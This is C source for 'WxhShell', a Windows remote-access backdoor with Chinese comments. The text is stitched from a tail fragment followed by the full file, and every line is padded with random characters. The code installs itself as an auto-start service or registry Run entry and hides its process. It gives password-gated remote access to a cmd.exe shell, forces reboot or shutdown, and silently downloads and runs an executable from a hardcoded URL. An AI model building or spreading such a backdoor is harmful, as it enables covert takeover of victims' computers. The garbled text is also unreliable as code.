  case 'd': { urM=l5Sx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1D@'uApi.  
    if(Boot(SHUTDOWN)) fcDiYJC*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j A/xe  
    else { TCb 7-s  
    closesocket(wsh); Q:U^):~  
    ExitThread(0); ^P)W/2  
    } j^ y9+W_b  
    break; tXZE@JyuC  
    } s+9q`k^  
  // 获取shell V(/ @$&  
  case 's': { 8Jnl!4  
    CmdShell(wsh); /3( a'o[  
    closesocket(wsh); cu)ssT  
    ExitThread(0); AHg:`Wjv-  
    break; '!$g<= @  
  } d46PAA{'  
  // 退出 ,\t:R1.  
  case 'x': { 0Fd<@w Q0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *RPdU.  
    CloseIt(wsh);  -)='htiU  
    break; 2>bTcud>  
    } oRJ!J-Z]  
  // 离开 gmFCjs  
  case 'q': { ;;A8*\*$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ):LgZ4h  
    closesocket(wsh); P~"e=NL5  
    WSACleanup(); &nJH23h ^  
    exit(1); B;k3YOg  
    break; <o JM||ZA  
        } 1=R6||8ws  
  } CJn{tP  
  } M|HW$8V3_2  
(4;m*' X  
  // 提示信息 (Nzup 3j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b#h}g>l  
} ~Bw)rf,  
  } xK7xAO  
4FWL\;6  
  return; 701mf1a  
} m {dXN=  
6a_MA*XK  
// shell模块句柄 xEULV4Qw  
int CmdShell(SOCKET sock) }8joltf  
{ C2l=7+X#W  
STARTUPINFO si; 2N)siH  
ZeroMemory(&si,sizeof(si)); Rw j4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U%<E9G594  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mgO D J  
PROCESS_INFORMATION ProcessInfo; P@LFX[HtM  
char cmdline[]="cmd"; &?(<6v7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NVt612/'7y  
  return 0; 9FGe (t <  
} 3I}(as{Rp  
O~wZU Zf  
// 自身启动模式 pfs'2AFj  
int StartFromService(void) r)4GH%+?fv  
{ XBvJc'(s  
typedef struct 8Uv2p{ <#  
{ #8cpZ]#  
  DWORD ExitStatus; O_gr{L}  
  DWORD PebBaseAddress; 0@O:C::  
  DWORD AffinityMask; >g{ w,  
  DWORD BasePriority; b8QQS#q)V  
  ULONG UniqueProcessId; 7? 1[sPM  
  ULONG InheritedFromUniqueProcessId; d*}dM "  
}   PROCESS_BASIC_INFORMATION; n8FmIoZ&`  
L6>;"]:f`  
PROCNTQSIP NtQueryInformationProcess; "7G>  
Q sXy(w#F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `f|Gw5R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j=q*b Qr  
t\GoUeH]  
  HANDLE             hProcess; &1!T@^56  
  PROCESS_BASIC_INFORMATION pbi; BXzn-S  
Bv=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C>}@"eK  
  if(NULL == hInst ) return 0; Q+ i  
z(o zMH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &d%0[Ui`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x>C_O\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g-4m.;  
yA+ NRWWj  
  if (!NtQueryInformationProcess) return 0; 88]4 GVi  
3dl#:Si  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?3duW$`  
  if(!hProcess) return 0; B.Szp_$  
l?f%2:}m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XCN^>ToD  
SV?^i`  
  CloseHandle(hProcess); Y&![2o.Q  
spX*e1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .kl.awT  
if(hProcess==NULL) return 0; e >6NO  
E"/r*C+T  
HMODULE hMod; dE_d.[!  
char procName[255]; EF8~rKO3  
unsigned long cbNeeded; qV7F=1k]  
Vf V|fuW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  cFV)zFu  
;Xr|['\'  
  CloseHandle(hProcess); u&E$(  
:j<ij]rsI  
if(strstr(procName,"services")) return 1; // 以服务启动 Ic<J]+Xq  
8kRqF?rbj  
  return 0; // 注册表启动 {:%A  
} #Wf9`  
j%q,]HCANh  
// 主模块 u)hr  
int StartWxhshell(LPSTR lpCmdLine) 0etJ, _">  
{ 3g{T+c*  
  SOCKET wsl; aioN)V  
BOOL val=TRUE;  BH<jnQ  
  int port=0; 2[V9`r8*  
  struct sockaddr_in door; qQ{i2D%)?f  
+YX *.dW  
  if(wscfg.ws_autoins) Install(); xY=%+o.?*  
LQo>wl  
port=atoi(lpCmdLine); xQ]^wT.Q  
_u] S/X-  
if(port<=0) port=wscfg.ws_port; ^&|KuI+ u  
c %f'rj  
  WSADATA data; v PJ=~*P=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1y{@fg~..  
y@'~fI!E4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,,Ia4c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bT8 ?(Iu  
  door.sin_family = AF_INET; \'>8 (i~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rf4}4ixkj  
  door.sin_port = htons(port); j@guB:0  
d1{%z\u a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ExW3LM9(  
closesocket(wsl); Vz\?a8qQ<  
return 1; +\ZaVi  
} P.t0o~hoK;  
o-ee3j.  
  if(listen(wsl,2) == INVALID_SOCKET) { B*-A erdH  
closesocket(wsl); aSEzh7 8  
return 1; xU LcS :Q  
} ^}{`bw{  
  Wxhshell(wsl); ]nQC  
  WSACleanup(); -LnNA`-  
-]-?>gkN5  
return 0; `at>X&Ce,  
,UA-Pq3 }  
} @&F\M}  
?AlTQL~c  
// 以NT服务方式启动 [$]Kp9YD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g-NfZj?  
{ = a54  
DWORD   status = 0; `*ml/% \  
  DWORD   specificError = 0xfffffff; }~bx==SF6!  
1=^edQ+   
  serviceStatus.dwServiceType     = SERVICE_WIN32; BIn7<.&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;XDGlv%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OGGuVY  
  serviceStatus.dwWin32ExitCode     = 0; 7.!`c-8 u  
  serviceStatus.dwServiceSpecificExitCode = 0; fEYo<@5c]  
  serviceStatus.dwCheckPoint       = 0; |K11Woii  
  serviceStatus.dwWaitHint       = 0; Y)](jU%o  
0XLoGQ=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #*v:.0%  
  if (hServiceStatusHandle==0) return; N NTUl$  
(\A~SKEX  
status = GetLastError(); >VE!3'/'  
  if (status!=NO_ERROR) J12hjzk6@  
{ K."h}f95  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .CAcG"42  
    serviceStatus.dwCheckPoint       = 0; %{j)w{ L J  
    serviceStatus.dwWaitHint       = 0; '>aj5tZ>R  
    serviceStatus.dwWin32ExitCode     = status; vq_v;$9}  
    serviceStatus.dwServiceSpecificExitCode = specificError; s4kkzTnXE3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y7LT;`A  
    return; f{j.jfl\x  
  } c%O8h  
.G/2CVMj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,nnVHBN  
  serviceStatus.dwCheckPoint       = 0; =L F9im  
  serviceStatus.dwWaitHint       = 0;  +}-Ecr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,2/y(JX}*!  
} %7n(>em  
slRD /  
// 处理NT服务事件,比如:启动、停止 iL\eMa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <`Q*I Y  
{ n^+rxG6 L  
switch(fdwControl) [ KT1.5M[  
{ i3usZ{_r  
case SERVICE_CONTROL_STOP: w}:&+B:  
  serviceStatus.dwWin32ExitCode = 0; s<`54o ,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nLjc.Z\Bl  
  serviceStatus.dwCheckPoint   = 0; .`5BgX7W  
  serviceStatus.dwWaitHint     = 0; y'21)P  
  { LE>b_gQ$ 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U|YIu!^  
  } W%&'EJ)62  
  return; +^tw@b  
case SERVICE_CONTROL_PAUSE: q#|,4( Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]$xN`O4W{  
  break; *(*3/P4D  
case SERVICE_CONTROL_CONTINUE: `a:L%Ex  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E2xcd#ZD  
  break; h}@)oSX }  
case SERVICE_CONTROL_INTERROGATE: ztG!NZL  
  break; $=rLs)  
}; HLp9_Y{X.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /4_^'RB  
} +:D90p$e  
q7-.-k<dQ  
// 标准应用程序主函数 _6/q.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lr;PESV  
{ lMW4SRk1C  
yw{;Qm2\7  
// 获取操作系统版本 jn/ J-X=  
OsIsNt=GetOsVer(); f6O5k8n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VsTa!V^~  
,^d!K(xb  
  // 从命令行安装 yG%<LP2p@f  
  if(strpbrk(lpCmdLine,"iI")) Install(); W%.ou\GN^t  
%@4/W  N  
  // 下载执行文件 ;~ , <8  
if(wscfg.ws_downexe) { >~)IsQ*%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \8HLQly|@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'V-_3WWxU  
} 7Ew.6!s#n1  
r1o_i;rg  
if(!OsIsNt) { I,0Z* rw  
// 如果时win9x,隐藏进程并且设置为注册表启动 =m6yH_`@  
HideProc(); 1p]Z9$Y  
StartWxhshell(lpCmdLine); IP e"9xb  
} KfkE'_ F  
else m=.}}DcSs  
  if(StartFromService()) r|!r!V8j  
  // 以服务方式启动 ^+)q@{\8Y  
  StartServiceCtrlDispatcher(DispatchTable); PR i3=3oF  
else o 2Okc><z  
  // 普通方式启动 qZ79IX'y  
  StartWxhshell(lpCmdLine); !(L\X'jH  
ulzQ[?OMl  
return 0; (RtjD`e}  
} Y\pRk6,  
z')zV oW,  
/H m), 9NN  
v?S~ =$.  
=========================================== _8;)J  
1E'/!|  
>QJfTkD$  
y7x[noGtR  
j^&{5s  
Il&}4#:  
" .gS x`|!  
lAcXi$pF  
#include <stdio.h> R:}u(N  
#include <string.h> f}_d`?K  
#include <windows.h> =O?#>3A}  
#include <winsock2.h> sHwn,4|iY  
#include <winsvc.h> .xIu  
#include <urlmon.h> vs|_l!n3  
N)rf /E0  
#pragma comment (lib, "Ws2_32.lib") IC:wof "  
#pragma comment (lib, "urlmon.lib") $*Z Zh  
acdWU"<  
#define MAX_USER   100 // 最大客户端连接数 [q5N 4&q\  
#define BUF_SOCK   200 // sock buffer *wOuw@09  
#define KEY_BUFF   255 // 输入 buffer :>t^B+  
1FO T  
#define REBOOT     0   // 重启 <y30t[.E6  
#define SHUTDOWN   1   // 关机 {ylhh%t4hi  
Ad@Odx=o*R  
#define DEF_PORT   5000 // 监听端口 y?1<7>L5~  
QxjX:O  
#define REG_LEN     16   // 注册表键长度 nR()ei^X  
#define SVC_LEN     80   // NT服务名长度 [=xJh?*P  
on=I*?+R  
// 从dll定义API %j*i=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l*+5WrOS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]XAJ|[]sj*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ggR--`D[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OSsxO(;g  
+uY)MExs2  
// wxhshell配置信息 X%>Sio  
struct WSCFG { ~il{6Z+#n  
  int ws_port;         // 监听端口 Wveba)"$  
  char ws_passstr[REG_LEN]; // 口令 ydyGPZ t  
  int ws_autoins;       // 安装标记, 1=yes 0=no L`!M3c@u  
  char ws_regname[REG_LEN]; // 注册表键名 i47xF7y\  
  char ws_svcname[REG_LEN]; // 服务名 O!c b-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qf}^x9'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (^Q:zU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3hrODts  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UOg4 E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H%*< t}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {MaFv  
v\UwL-4[  
}; NQD*8PGfj  
>,JA=s  
// default Wxhshell configuration -a}d @&  
struct WSCFG wscfg={DEF_PORT, $m:4'r  
    "xuhuanlingzhe", D<m+M@u  
    1, us^2Oplq<  
    "Wxhshell", N{f4-i~  
    "Wxhshell", t`XY Y  
            "WxhShell Service", nnZ|oEF  
    "Wrsky Windows CmdShell Service", VTQxg5P c  
    "Please Input Your Password: ", y@L-qO+{&  
  1, 8jnz;;|  
  "http://www.wrsky.com/wxhshell.exe", +foyPj!%  
  "Wxhshell.exe" P K]$D[a0  
    }; 4ZZ/R?AiK  
onuhNn_=>  
// 消息定义模块 7D;g\{>M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ET&Q}UOE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KvM}g2"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \(C_t1  
char *msg_ws_ext="\n\rExit."; +P&;cCV`S3  
char *msg_ws_end="\n\rQuit."; =H F||p@  
char *msg_ws_boot="\n\rReboot..."; {iv!A=jld  
char *msg_ws_poff="\n\rShutdown..."; r#K;@wu2  
char *msg_ws_down="\n\rSave to "; |Q'l&Gt6  
@Ik@1  
char *msg_ws_err="\n\rErr!"; u'?yc"d>#  
char *msg_ws_ok="\n\rOK!"; U*Hw t\  
f&\v+'[p  
char ExeFile[MAX_PATH]; {ER%r'(4Z  
int nUser = 0; 9*@Kl`\  
HANDLE handles[MAX_USER]; Ng6(2Wt0e  
int OsIsNt; `dYM+ jpa  
9Fl}"p[>L.  
SERVICE_STATUS       serviceStatus; %EZG2JjO)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?]fd g;?@  
!~{AF|2f  
// 函数声明 .Jt&6N  
int Install(void); dJhT}"x  
int Uninstall(void); WheJ 7~  
int DownloadFile(char *sURL, SOCKET wsh); b ;Vy=f  
int Boot(int flag); $?l?  
void HideProc(void); sW":~=H  
int GetOsVer(void); O MEPF2:  
int Wxhshell(SOCKET wsl); H-Uy~Ry*T  
void TalkWithClient(void *cs); CaZ{UGokL  
int CmdShell(SOCKET sock); ~$0Qvyb>  
int StartFromService(void); kQR kby  
int StartWxhshell(LPSTR lpCmdLine); w%no6 ;  
uLw$`ihw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QES[/i +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EV:y}  
lg0iNc!  
// 数据结构和表定义  H4HWr6  
SERVICE_TABLE_ENTRY DispatchTable[] = .TN9N  
{ hCX}*  
{wscfg.ws_svcname, NTServiceMain}, )+[{MR '  
{NULL, NULL} X*2M Nx^K~  
}; eZ]4,,m  
P5+FZzQ  
// 自我安装 0Ts[IHpg&E  
int Install(void) #'Q_eBX  
{ tQy@d_a=y  
  char svExeFile[MAX_PATH]; (mvAEN+y  
  HKEY key; Bv^{|w  
  strcpy(svExeFile,ExeFile); (;o,t?:d  
K8.=bGyg  
// 如果是win9x系统,修改注册表设为自启动 4c2*)x$@  
if(!OsIsNt) { =kq!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~M 6^%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); */Oq$3QGsV  
  RegCloseKey(key); q%=`PCty  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DRLX0Ml]\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )#9R()n!  
  RegCloseKey(key); kfo, PrW`A  
  return 0; LI[ w?6B  
    } 9-DDly [)4  
  } S~+}_$  
} }>cQ}6n.  
else { sKhX0,s&  
K9FtFd  
// 如果是NT以上系统,安装为系统服务 Vcg$H8m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5 N(/K.^  
if (schSCManager!=0) tI&Z!fj  
{ hlxZq  
  SC_HANDLE schService = CreateService O2E6F^.pYw  
  ( ;T!mNKl  
  schSCManager, +*3\ C!  
  wscfg.ws_svcname, #/  1  
  wscfg.ws_svcdisp, |1G/J[E  
  SERVICE_ALL_ACCESS, B:=*lU.n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :qi"I;=6  
  SERVICE_AUTO_START, sm-RpZ&|  
  SERVICE_ERROR_NORMAL, p]uwGWDI  
  svExeFile, 4r!8_$fN?G  
  NULL, (eI'%1kS<  
  NULL, N5 SK_+  
  NULL, Mg]q^T.a  
  NULL, mT;1KE{J{  
  NULL -A>1L@N  
  ); IiV:bHUE}0  
  if (schService!=0) *p{wC r  
  { 8Letpygm  
  CloseServiceHandle(schService); WRQJ6B  
  CloseServiceHandle(schSCManager); O0#wM-M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [ "}0umt  
  strcat(svExeFile,wscfg.ws_svcname); R=~+-^O!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3k;*xjv6@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m]J Z@  
  RegCloseKey(key); k/W$)b:Of`  
  return 0; 6;U]l.  
    } 4f<%<Z  
  } s4bLL  
  CloseServiceHandle(schSCManager); RQ# gn  
} s`ly#+!.  
} FA ?xp1E  
yzW9A=0A)  
return 1; 3Xaw  
} I~EQuQ>=  
jQOY\1SR  
// 自我卸载 ` /JJ\`Pu  
int Uninstall(void) mmm025.   
{ ,p/iN9+Z  
  HKEY key; ,x}p1EZ  
w@7NoD=  
if(!OsIsNt) { KK`P<^8J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Er?Wg09  
  RegDeleteValue(key,wscfg.ws_regname); k2l(!0o|;  
  RegCloseKey(key); CZv.$H"lW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ] L4B  
  RegDeleteValue(key,wscfg.ws_regname); g?!vR id@S  
  RegCloseKey(key); 4lH$BIAW  
  return 0; dIe-z7x  
  } O.e^? ysp/  
} =]yJvn"  
} MCU{@ \?Xf  
else { _H(m4~ M  
-XIjol(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2`/JT  
if (schSCManager!=0) /o#!9H   
{ Se qnO.\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O`U&0lKi'  
  if (schService!=0) oX@nWQBc_  
  { a(s}Ec${Z  
  if(DeleteService(schService)!=0) { ;|e{J$  
  CloseServiceHandle(schService); iPX6 r4-  
  CloseServiceHandle(schSCManager); 7(lR$,bE;=  
  return 0; \Rop~gD  
  } 1tU}}l  
  CloseServiceHandle(schService); C,+6g/{  
  } )h&s.k  
  CloseServiceHandle(schSCManager); bvzeU n  
} "knSc0 ,u  
} Z=n# XJO15  
{X<mr~  
return 1; 7F.t>$'  
} U8kH'OD  
_In[Z?P}  
// 从指定url下载文件 6?Ul)'  
int DownloadFile(char *sURL, SOCKET wsh) C#[YDcp4  
{ \9dSI  
  HRESULT hr; SC)4u l%  
char seps[]= "/"; >K**SjVG  
char *token; I^ sWf3'db  
char *file; Ps5UX6\ .m  
char myURL[MAX_PATH]; ~>zml1aJ6  
char myFILE[MAX_PATH]; G^]T  
ork/:y9*y  
strcpy(myURL,sURL); G=a.Wff  
  token=strtok(myURL,seps); FCTz>N^p  
  while(token!=NULL) gBz$RfyF  
  { Xm&L@2V  
    file=token; ~fB}v  
  token=strtok(NULL,seps); L {(\k$>'  
  } epp ;~(xr  
pZp|F  
GetCurrentDirectory(MAX_PATH,myFILE); t_5b  
strcat(myFILE, "\\"); &x19]?D"+  
strcat(myFILE, file); 6z@OGExmd#  
  send(wsh,myFILE,strlen(myFILE),0); &n+3^JNl  
send(wsh,"...",3,0); CPc<!CC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4mSL*1j  
  if(hr==S_OK) J&%vBg^  
return 0; zq -"jpZG  
else 4Z>hP]7  
return 1; MJ'|$b}  
]^MOFzSz~  
} ]bCeJE.+)  
YgiwtZ5FY  
// 系统电源模块 r(NfVQF  
int Boot(int flag) 9k=-8@G9  
{ ^/\OS@CT\  
  HANDLE hToken; %\#s@8=2u  
  TOKEN_PRIVILEGES tkp; |g]TWKc*  
T677d.zaT  
  if(OsIsNt) { ?T-6|vZA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5g  ,u\`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #+Z3!VS  
    tkp.PrivilegeCount = 1; 0HK03&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $,"{g<*k;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ai\"w0  
if(flag==REBOOT) { g/,fjM_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [tDUR  
  return 0; ,\Gn  
} ) ?rJKr[`  
else { Ao)hb4ex  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1L1_x'tT%  
  return 0; FrD.{(/~  
} f 'aQ T  
  } ']^e,9=Q  
  else { u%?u`n2'  
if(flag==REBOOT) { 8>a/x,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1BQTvUAA  
  return 0; |gEA.} pY  
} %98F>wl  
else { cC w,b]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <K!5N&vh  
  return 0; dgPJte%i  
} Y W_E,A>h  
} p#~' xq  
m&o}qzC'y  
return 1; X&DuX %x0  
} VpSk.WY/ e  
ie+&@u  
// win9x进程隐藏模块 *>%34m93  
void HideProc(void) ):?ype>  
{ TN3, \qgV  
T.="a2iS2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?^P#P0  
  if ( hKernel != NULL ) FV^CSaN[R  
  { ;`g\Tu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o+{}O_r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KTxdZt  
    FreeLibrary(hKernel); Ga~N7  
  } _i~n!v  
]YkF^Pf!v  
return; [9UKVnX.V  
} %lNWaA  
xG0IA 7  
// 获取操作系统版本 w=\Lw+X  
int GetOsVer(void) d}tn/Eu?B  
{ 9oS\{[x.  
  OSVERSIONINFO winfo; bT-(lIU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); At%g^  
  GetVersionEx(&winfo); oQ~Q?o]Ri  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  A$ %5l  
  return 1; mH*42XC*  
  else *2crhI*@>  
  return 0; _dppUUm  
} D h]+HF  
$1oU^V Y  
// 客户端句柄模块 ]+)z}lr8 C  
int Wxhshell(SOCKET wsl) N%6jZmKip  
{ PYr#vOH  
  SOCKET wsh; {r.#R| 4v  
  struct sockaddr_in client; m JewUc!<5  
  DWORD myID; V S2p"0$3D  
,HS\(Z  
  while(nUser<MAX_USER) 1YR;dn  
{ H? N!F7s  
  int nSize=sizeof(client); rgILOtk[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1iaNb[:QX  
  if(wsh==INVALID_SOCKET) return 1; $=iz&{9  
3O%[k<S\VO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m}6GVQ'Q  
if(handles[nUser]==0) l W'6rat  
  closesocket(wsh); _Pa(5-S'KR  
else TJ7on.;  
  nUser++; hF+YZU]rT  
  } #QZg{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  <VB  
'mpY2|]\$  
  return 0; h+zJ"\  
} s`Z(f:/6*  
Yg/e8Q2  
// 关闭 socket S4s\tA<  
void CloseIt(SOCKET wsh) /fA:Fnv  
{ 8gJ"7,}-'  
closesocket(wsh); /MsXw/],  
nUser--; ~^" cNv  
ExitThread(0); ;E:ra_l  
} ?v#t{e0eQ  
/4 RKA!W  
// 客户端请求句柄 =Xm [  
void TalkWithClient(void *cs) *Au4q<   
{ JoKD6Q1D  
rj$u_y3S*  
  SOCKET wsh=(SOCKET)cs; ?A(=%c|,g  
  char pwd[SVC_LEN]; )H S|pS:  
  char cmd[KEY_BUFF]; W2tIt&{  
char chr[1]; `>rdn*B  
int i,j; RoM'+1nP:#  
Y {Klwn   
  while (nUser < MAX_USER) { T#J]%IDd  
"KOLRJ@  
if(wscfg.ws_passstr) { R[wy{4<y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EU ThH.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =w".B[r  
  //ZeroMemory(pwd,KEY_BUFF); ~Ht[kO  
      i=0; &AGV0{NMh]  
  while(i<SVC_LEN) { IyOujdKa  
=/.[&DG  
  // 设置超时 :CSys62  
  fd_set FdRead; eN>=x40  
  struct timeval TimeOut; ~yt+xWV  
  FD_ZERO(&FdRead); BI;in;Ln  
  FD_SET(wsh,&FdRead); ]. 1[H~5N  
  TimeOut.tv_sec=8; / !jd%,G  
  TimeOut.tv_usec=0; vBj{bnl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  tAP~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QtkyKR  
8iK>bp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g[-'0d\1  
  pwd=chr[0]; SWO$# X /  
  if(chr[0]==0xd || chr[0]==0xa) { (BMFGyE3  
  pwd=0; @`$8rck`  
  break; ;. !AX|v  
  } n0O- Bxhl  
  i++; 1P3^il7  
    } W: cOzJ  
zjM+F{P8  
  // 如果是非法用户,关闭 socket O9p8x2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /V46:`V  
} cc.z C3Hs3  
m]=|%a6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vhTte |(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6T"[M  
cQu1WgQ G  
while(1) { ?*tpW75hR[  
E$4\Yc)(AL  
  ZeroMemory(cmd,KEY_BUFF); zvdtP'&uj  
~k+-))pf  
      // 自动支持客户端 telnet标准   d;:+Xd`  
  j=0; pUYa1=  
  while(j<KEY_BUFF) { MJ8z"SKnV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wR@fB  
  cmd[j]=chr[0]; +x-n,!(  
  if(chr[0]==0xa || chr[0]==0xd) { 4B-v\3Ff  
  cmd[j]=0; j?g{*M  
  break; wCkhE,#-_  
  } JDD(e_dw  
  j++; dW,$yH_  
    } j*q]-$2E  
p/cVQ  
  // 下载文件 op"RrZAZBT  
  if(strstr(cmd,"http://")) { 6@ET3v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v#(wc +[  
  if(DownloadFile(cmd,wsh)) N#6&t8;kTC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2y,NT|jp  
  else mj%Iow.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Wn6r_:  
  } +*DXzVC  
  else { xdXt  
